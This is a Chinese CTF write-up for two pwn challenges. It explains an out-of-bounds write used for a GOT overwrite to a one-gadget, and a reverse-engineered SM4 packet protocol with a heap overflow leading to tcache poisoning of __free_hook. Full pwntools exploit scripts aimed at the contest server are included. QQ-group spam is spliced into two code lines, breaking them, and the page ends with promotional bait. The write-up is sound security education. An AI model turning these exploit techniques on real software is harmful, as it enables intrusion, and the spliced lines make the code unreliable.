2021春秋杯pwn題目大解析

語言: CN / TW / HK

 

目錄

dou_like_pwn

libc

漏洞

思路

exp

雙邊協議@1.5

程序分析

漏洞

思路

EXP


dou_like_pwn

libc

2.27的libc

ld在這裏下載

http://archlinux.arkena.net/archive/packages/a/aarch64-linux-gnu-glibc/

漏洞

功能2只檢查了a1<=2, a1可以是負數, 因此產生越界

思路

PtrArr前面一個迴環指針

先Read2B修改這個迴環指針的最低2B, 得到任意指針, 然後再利用這個任意地址去修改任意位置2B

所以read功能就是elf任意寫2B, 剛好2次

elf任意寫, 而且還可以寫入GOT, 那麼首先想到的就是打GOT

最簡單的思路就是partial overwrite GOT為OGG

由於低12bit固定, 所以要找除了低2B以外, 高位都相同的OGG與GOT, 這樣只要覆蓋最低2B, 猜0.5B即可

最終找到的是這兩個

並且恰好滿足$x2=0

exp

#! /usr/bin/python
# coding=utf-8
import sys
import os
from pwn import *
from random import randint
context.log_level = 'debug'
context(arch='aarch64', os='linux')+QQ羣:581499282資料分享

debug = 0
gdb_port = 1234
file_name = './pwn'

elf = ELF(file_name)
libc=ELF('./libc.so.6')

def Log(name):    
    log.success(name+' = '+hex(eval(name)))

if(len(sys.argv)==1):            #local
    if(debug):
        cmd = ['qemu-aarch64', '-g', str(gdb_port), '-L', '/usr/aarch64', file_name]        
    else:
        cmd = ['qemu-aarch64', '-L', '/usr/aarch64', file_name]
    sh = process(cmd)

else:                            #remtoe
    sh = remote('47.104.148.36', 11432)

def INT():
    log.success('send SIGINT')
    os.system('kill -INT %d'%(sh.pid))

def Num(n):
    sh.sendline(str(n))

def Name(name):
    sh.recvuntil('hello! tell me you name:')
    sh.send(name)

def Pwd(pwd):
    sh.recvuntil('admin passwd:')
    Num(pwd)

def Cmd(n):
    Num(n)

def Allocate(size):
    Cmd(1)
    sh.recvuntil('size:\n')
    Num(size)

def Edit(idx, cont):
    Cmd(2)
    sh.recvuntil('idx:\n')
    Num(idx)
    sh.send(cont)

def ChangePwd(l, pwd):    
    Cmd(3)
    sh.recvuntil('len:')
    sh.send(str(l))
    sh.recvuntil('\n\n')
    sh.sendline(str(pwd))

def Addr(base, guess):
    return base | (guess<<12)

Name('A'*0x8)
Pwd(0)
ChangePwd(2, 1)

Allocate(0x20)
Edit(-2, p8(0x50))
Edit(-2, p16(Addr(0xe80, randint(0, 0xF))))

Cmd(11)
#INT()

sh.interactive()

'''
gdb-multiarch
file ./pwn
file ./libc.so.6
set architecture aarch64
target remote localhost:1234

proc_base:        0x4000000000
PtrArr:            telescope 0x12090+0x0000004000000000
GOT:            telescope 0x12000+0x0000004000000000 30
puts(GG):        break *(0xE70+0x4000000000)

libc.address:    0x4000864000

0x3f150 execve("/bin/sh", sp+0x70, environ)
constraints:
  address x20+0x338 is writable
  x3 == NULL

0x3f174 execve("/bin/sh", sp+0x70, environ)
constraints:
  addresses x19+0x4, x20+0x338 are writable
  [sp+0x70] == NULL

0x3f198 execve("/bin/sh", x21, environ)
constraints:
  addresses x19+0x4, x20+0x338 are writable
  [x21] == NULL || x21 == NULL

0x63e80 execl("/bin/sh", x1)
constraints:
  x1 == NULL

'''

 

雙邊協議@1.5

程序分析

接收包

  • 包結構
8B:   maigc   =0x2F62696E2F2F7368
8B:   packet_len  =cont_len+0x20+0x10
8B:   head_len  = 0x10
8B:   cont_len
0x10B:  head   = 加密用的Key
cont_len: content

但是發現content並不是明文, 所以繼續逆向
發現特殊值, 確定是sm4加密

構造包時先生成了0x10B的隨機數, 然後每0x20為一個單位, 調用Sm4Enc進行加密
最後把加密的key寫入包的Head字段中

加密的具體過程為: 先前16B 後16B分別進行加密, 然後進行一個換位變換

因此得到包解析算法

發送包

也還是類似的
在發包時注意, base64要求必須與3對齊, 所以最後發送base64結果時有一個與3對齊操作, 使用=作為padding

漏洞

思路

這題堆環境太複雜了, 只能一點點的去嘗試

從過泄露chunk上殘留的內容, 泄露libc地址, 發現是2.27的libc

然後各種嘗試, 以0x20的單位去分配, 目標是使得第一字節殘留的數據可以產生堆溢出

也就是Edit計算chunk size時, 讓*ptr_6不為0 , 也不能為太大的數字, 否則會溢出

然後就是堆溢出打Tcache了

上次hmg的雙邊協議把我打自閉了, 這次一血算是除了心魔, 再也不怕misc-pwn了

EXP

 

#! /usr/bin/python
# coding=utf-8
import sys
from pwn import *
from random import randint
from sm4 import SM4Key

#context.log_level = 'debug'
context(arch='amd64', os='linux')

elf = ELF('./pwn')
libc=ELF('./libc-2.27.so')


def Log(name):+QQ羣:581499282資料分享    
    log.success(name+' = '+hex(eval(name)))

if(len(sys.argv)==1):            #local
    sh = process('./pwn')
    proc_base = sh.libs()['/home/parallels/pwn']
else:                            #remtoe
    sh = remote('47.104.148.36', 24312)

Magic = 0x2F62696E2F2F7368
MyKey = 'A'*0x10

def Num(n):
    sh.sendline(str(n))

def Sm4Dec(enc, key):
    g1 = ''
    g2 = ''
    for i in range(0x20):
        if(i%2==0):
            g1+=enc[i]
        else:
            g2+=enc[i]
    enc = SM4Key(key)
    res = enc.decrypt(g1) + enc.decrypt(g2)
    return res

def DecPacket(s):
    packet = base64.b64decode(s)
    magic = u64(packet[0:8])
    packet_len = u64(packet[8:0x10])
    head_len = u64(packet[0x10:0x18])
    cont_len = u64(packet[0x18: 0x20])
    Key = packet[0x20: 0x30]
    enc_cont = packet[0x30: 0x30+cont_len]
    cont = ''
    for i in range(0, cont_len, 0x20):
        group = enc_cont[i: i+0x20]
        cont+= Sm4Dec(group, Key)
    return cont

def Sm4Enc(cont, key):
    g1 = cont[0:0x10]
    g2 = cont[0x10:0x20]
    enc = SM4Key(key[0:0x10])
    g1 = enc.encrypt(g1)
    g2 = enc.encrypt(g2)
    res = ''
    for i in range(0x10):
        res+= g1[i]
        res+= g2[i]
    return res

def Packet(head_len, head, cont_len, cont):
    packet_len = head_len+cont_len+0x20
    packet = flat(Magic)
    packet+= flat(packet_len, head_len, cont_len)
    packet+= head
    for i in range(0, len(cont), 0x20):
        packet+= Sm4Enc(cont[i: i+0x20], head)
    res = base64.b64encode(packet)
    if(len(res)%3 != 0):
        res+= '='*(3-(len(res)%3))    
    return res

def Getline():
    res = DecPacket(sh.recvline())
    print(res)
    return res

def SendPacket(head_len, head, cont_len, cont):
    print("Send: "+cont)
    sh.send(Packet(head_len, head, cont_len, cont))

def SendCont(cont):
    SendPacket(0x10, MyKey, len(cont), cont)

def Cmd(n):
    Getline()
    Getline()
    Getline()
    Getline()
    Getline()
    SendCont(str(n).ljust(0x20, '\x00'))

def Add(size, cont):
    Cmd(1)
    Getline()
    SendCont(str(size).ljust(0x20, '\x00'))
    Getline()
    SendCont(cont)

def Free(idx):
    Cmd(2)
    Getline()
    SendCont(str(idx).ljust(0x20, '\x00'))

def Edit(idx, cont):
    Cmd(4)
    Getline()
    SendCont(str(idx).ljust(0x20, '\x00'))
    Getline()
    SendCont(cont)

def Show(idx):
    Cmd(5)
    Getline()
    SendCont(str(idx).ljust(0x20, '\x00'))

#leak addr
Add(0x370, 'A'*0x40)
Show(0)
res = Getline()
libc.address = u64(res[0:8])-0x3ec3a0
Log('libc.address')

heap_addr = u64(res[0x10:0x18])
Log('heap_addr')

Free(0)

Add(0x80, 'B'*0x20)
Add(0x80, 'C'*0x20)
Add(0x80, 'D'*0x20)

Edit(1, 'X'*0x80+flat(0, 0x111, 0xdeadbeef, 0xdeadbeef))
Free(2)
Edit(1, 'X'*0x80+flat(0, 0x111, libc.symbols['__free_hook']-0x8, 0xdeadbeef))

Free(0)
Free(1)

#gdb.attach(sh, '''
#telescope 0x2080e0+0x0000555555554000
#heap bins
#''')

exp = '/bin/sh\x00'
exp+= p64(libc.symbols['system'])
exp = exp.ljust(0x100, 'G')
Add(0x100, exp)



sh.interactive()


'''
PtrArr                    telescope 0x2080e0+0x0000555555554000
RecvContLen:            telescope 0x203078+0x0000555555554000
Edit: 
    read cont pakcet:     break *(0xc5D+0x0000555555554000)
    pow(256.0, ...):    break *(0xc2e+0x0000555555554000)
RecvPacket:
    SM4Dec:                break *(0x1849+0x0000555555554000)
'''

 

看到這裏的大佬,動動發財的小手 點贊 + 回覆 + 收藏,能【 關注 】一波就更好了

我是一名滲透測試工程師,為了感謝讀者們,我想把我收藏的一些CTF奪旗賽乾貨貢獻給大家,回饋每一個讀者,希望能幫到你們。

乾貨主要有:

①1000+CTF歷屆題庫(主流和經典的應該都有了)

②CTF技術文檔(最全中文版)

③項目源碼(四五十個有趣且經典的練手項目及源碼)

④ CTF大賽、web安全、滲透測試方面的視頻(適合小白學習)

⑤ 網絡安全學習路線圖(告別不入流的學習)

⑥ CTF/滲透測試工具鏡像文件大全

⑦ 2021密碼學/隱身術/PWN技術手冊大全

各位朋友們可以關注+評論一波 然後點擊下方   即可免費獲取全部資料

→【資料獲取】←